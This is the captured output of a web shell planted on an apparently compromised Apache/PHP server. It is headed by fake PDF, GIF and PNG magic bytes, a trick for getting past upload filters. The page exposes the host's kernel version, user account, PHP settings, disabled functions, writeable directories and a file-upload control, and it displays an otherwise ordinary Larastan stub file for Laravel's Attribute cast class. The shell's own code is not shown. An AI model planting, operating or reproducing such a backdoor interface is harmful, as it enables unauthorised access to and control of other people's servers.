%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/nunomaduro/larastan/stubs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/nunomaduro/larastan/stubs/Attribute.stub
<?php

namespace Illuminate\Database\Eloquent\Casts;

/**
 * @template TGet
 * @template TSet
 */
class Attribute
{
    /**
     * The attribute accessor.
     *
     * @var callable(): TGet
     */
    public $get;

    /**
     * The attribute mutator.
     *
     * @var callable(TSet): mixed
     */
    public $set;

    /**
     * Create a new attribute accessor / mutator.
     *
     * @template TMakeGet
     * @template TMakeSet
     * @param  (callable(mixed, mixed): TMakeGet)|null  $get
     * @param  (callable(TMakeSet, mixed=): mixed)|null  $set
     * @return Attribute<TMakeGet, TMakeSet>
     */
    public static function make(callable $get = null, callable $set = null);

    /**
     * Create a new attribute accessor.
     *
     * @template T
     * @param  callable(mixed, mixed=): T  $get
     * @return Attribute<T, never>
     */
    public static function get(callable $get);

    /**
     * Create a new attribute mutator.
     *
     * @template T
     * @param  callable(T, mixed=): mixed $set
     * @return Attribute<never, T>
     */
    public static function set(callable $set);
}

VaKeR 2022